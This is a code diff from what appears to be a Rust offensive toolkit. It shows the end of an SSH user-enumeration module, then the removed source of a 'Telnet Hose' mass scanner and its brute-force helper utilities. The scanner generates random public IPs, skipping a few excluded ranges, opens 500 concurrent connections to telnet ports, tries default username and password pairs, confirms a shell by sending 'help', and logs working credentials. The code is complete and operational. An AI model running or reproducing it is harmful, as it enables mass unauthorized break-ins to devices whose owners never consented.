let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path")?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
println!();
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
println!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
println!("{}", format!("[+] Saved to: {}", output_path).green());
}
println!();
println!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
-434
View File
@@ -1,434 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::fs::OpenOptions;
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::net::TcpStream;
use tokio::process::Command;
use tokio::sync::Semaphore;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::time::timeout;
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
// Top 3 Telnet Ports
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
// Default Credentials (Mixed Cartesian Product will be generated from these)
const TOP_USERS: &[&str] = &["root", "admin", "user", "support", "guest"];
const TOP_PASS: &[&str] = &["root", "admin", "user", "1234", "123456", "password", "password123", "default", "support", "guest", ""];
// Keywords to match in help output (must match at least 2)
const HELP_KEYWORDS: &[&str] = &[
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command", "menu", "admin"
];
// Internal Logic Constants
const CONCURRENCY: usize = 500;
const CONNECT_TIMEOUT_MS: u64 = 2000;
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
const OUTPUT_FILE: &str = "telnet_hose_results.txt";
const STATE_FILE: &str = "telnet_hose_state.log"; // Stores "checked: <ip>"
#[derive(Debug, PartialEq, Clone, Copy)]
enum TelnetState {
WaitingForBanner,
SendingUsername,
WaitingForPasswordPrompt,
SendingPassword,
WaitingForResult,
SendingHelp,
WaitingForHelpResponse,
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== Telnet Hose Mass Scanner ===".bold().cyan());
println!("Target Mode: {}", if target.is_empty() || target == "random" { "Internet Random" } else { target });
println!("Concurrency: {}", CONCURRENCY);
println!("Exclusions: Enabled (Private + Cloudflare + Google)");
println!("Output: {}", OUTPUT_FILE);
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Prepare Credential Combos
let mut creds = Vec::new();
for u in TOP_USERS {
for p in TOP_PASS {
creds.push((u.to_string(), p.to_string()));
}
}
// Also add reverse (pass as user) just in case for some
creds.push(("1234".to_string(), "1234".to_string()));
let creds = Arc::new(creds);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Spawn stats reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs checked, {} Creds found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
// Random Mode
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
// Check if already tested
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
scan_ip(Some(ip), cr, sf).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File/List Mode
// We assume 'target' is a file path since it's a "hose" module
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
if lines.is_empty() {
println!("No targets found in file or invalid target string.");
return Ok(());
}
println!("Loaded {} IPs from list", lines.len());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let ip = ip_str.clone();
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
scan_ip(ip.parse().ok(), cr, sf).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
// In a real hose, we just run until done.
for _ in 0..CONCURRENCY {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
// Grep for "checked: <ip>" in state file
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(), // Grep returns 0 (true) if found
Err(_) => false, // File might not exist yet
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
async fn save_result(ip: &str, port: u16, user: &str, pass: &str) {
let data = format!("{}:{} {}:{}\n", ip, port, user, pass);
println!("{} {}", "[+] HOSE SUCCESS:".green().bold(), data.trim());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(OUTPUT_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
async fn scan_ip(
ip_opt: Option<IpAddr>,
creds: Arc<Vec<(String, String)>>,
stats_found: Arc<AtomicUsize>
) {
let Some(ip) = ip_opt else { return };
let ip_str = ip.to_string();
let mut handles = Vec::new();
for &port in TELNET_PORTS {
let socket_addr = SocketAddr::new(ip, port);
let creds = creds.clone();
let stats_found = stats_found.clone();
let ip_str = ip_str.clone();
handles.push(tokio::spawn(async move {
// Quick Connect Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&socket_addr)).await.is_err() {
return;
}
// Port is open, try credentials
for (user, pass) in creds.iter() {
match try_telnet_login_hose(&socket_addr, user, pass).await {
Ok(true) => {
save_result(&ip_str, port, user, pass).await;
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success on this port
}
_ => {}
}
}
}));
}
// Wait for all ports to finish checking
for h in handles {
let _ = h.await;
}
}
// Simplified & Optimized Telnet Login for Hose
// Wrapper for retry logic
async fn try_telnet_login_hose(
socket: &SocketAddr,
username: &str,
password: &str,
) -> Result<bool> {
// Attempt 1: Standard (try to detect, fallback to User+Pass)
let (success, banner_seen) = do_telnet_session(socket, username, password, false).await?;
if success {
return Ok(true);
}
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
if !banner_seen {
// Attempt 2: Blind Password Only
let (success_retry, _) = do_telnet_session(socket, username, password, true).await?;
if success_retry {
return Ok(true);
}
}
Ok(false)
}
// Inner session logic
async fn do_telnet_session(
socket: &SocketAddr,
username: &str,
password: &str,
force_password_only: bool,
) -> Result<(bool, bool)> { // returns (success, banner_detected)
let stream_res = timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(socket)
).await;
let stream = match stream_res {
Ok(Ok(s)) => s,
_ => return Ok((false, false)), // Connect fail
};
let (reader, mut writer) = tokio::io::split(stream);
let mut reader = BufReader::new(reader);
let mut buf = [0u8; 1024];
// State Machine
let mut state = TelnetState::WaitingForBanner;
let start = Instant::now();
let max_duration = Duration::from_millis(LOGIN_TIMEOUT_MS);
let mut banner_detected = false;
while start.elapsed() < max_duration {
// Simple Read with Timeout
let read_future = reader.read(&mut buf);
let n = match timeout(Duration::from_millis(1500), read_future).await {
Ok(Ok(0)) => return Ok((false, banner_detected)), // EOF
Ok(Ok(n)) => n,
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
Err(_) => {
// Read Timeout logic
// If waiting for banner and timed out -> No Banner Detected
if state == TelnetState::WaitingForBanner {
// Decide action based on mode
if force_password_only {
state = TelnetState::SendingPassword;
} else {
state = TelnetState::SendingUsername;
}
continue;
}
if state == TelnetState::WaitingForResult || state == TelnetState::WaitingForHelpResponse {
// Timeout waiting for result/help usually means fail or stuck
return Ok((false, banner_detected));
}
continue;
}
};
// IAC Stripping (Minimal)
let s = String::from_utf8_lossy(&buf[..n]);
let lower = s.to_lowercase();
// Handle current state
match state {
TelnetState::WaitingForBanner => {
if lower.contains("pass") || lower.contains("word") {
banner_detected = true;
state = TelnetState::SendingPassword;
} else if lower.contains("login") || lower.contains("user") || lower.contains("name") {
banner_detected = true;
state = TelnetState::SendingUsername;
}
}
TelnetState::SendingUsername => {
// Should not happen here if we just transitioned,
// but if we are reading response after sending user:
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForPasswordPrompt => {
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForResult => {
if lower.contains("incorrect") || lower.contains("fail") || lower.contains("denied") || lower.contains("error") {
return Ok((false, banner_detected));
}
if lower.contains("#") || lower.contains("$") || (lower.contains(">") && !lower.contains(">>")) || lower.contains("welcome") {
state = TelnetState::SendingHelp;
}
}
TelnetState::WaitingForHelpResponse => {
let mut match_count = 0;
for kw in HELP_KEYWORDS {
if lower.contains(kw) {
match_count += 1;
}
}
if match_count >= 2 {
return Ok((true, banner_detected));
}
}
_ => {}
}
// Perform Writes if needed
match state {
TelnetState::SendingUsername => {
let _ = writer.write_all(format!("{}\r\n", username).as_bytes()).await;
// Add requested 2s delay
tokio::time::sleep(Duration::from_secs(2)).await;
state = TelnetState::WaitingForPasswordPrompt;
}
TelnetState::SendingPassword => {
let _ = writer.write_all(format!("{}\r\n", password).as_bytes()).await;
state = TelnetState::WaitingForResult;
}
TelnetState::SendingHelp => {
let _ = writer.write_all(b"help\r\n").await;
state = TelnetState::WaitingForHelpResponse;
}
_ => {}
}
}
Ok((false, banner_detected))
}
-3
View File
@@ -1,3 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
-203
View File
@@ -1,203 +0,0 @@
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
unique_errors: Mutex<HashMap<String, usize>>,
}
impl BruteforceStats {
pub fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
unique_errors: Mutex::new(HashMap::new()),
}
}
pub fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
pub fn record_success(&self) {
self.record_attempt(true, false);
}
pub fn record_failure(&self) {
self.record_attempt(false, false);
}
pub fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
pub async fn record_error_detail(&self, msg: String) {
let mut guard = self.unique_errors.lock().await;
*guard.entry(msg).or_insert(0) += 1;
}
pub async fn record_error(&self, msg: String) {
// Increment error counter
self.record_attempt(false, true);
// Record detail
self.record_error_detail(msg).await;
}
pub fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
pub async fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
let errors_guard = self.unique_errors.lock().await;
if !errors_guard.is_empty() {
println!("\n{}", "Top Errors:".bold());
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
for (msg, count) in sorted_errors.into_iter().take(5) {
println!(" - {}: {}", msg.yellow(), count);
}
}
}
}
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
// Basic check first to avoid expensive loop
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
continue;
}
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
// Ensure state file exists before checking
if !std::path::Path::new(state_file).exists() {
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(state_file)
.await
{
let _ = file.flush().await;
}
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(state_file)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(state_file)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
exclusion_subnets
}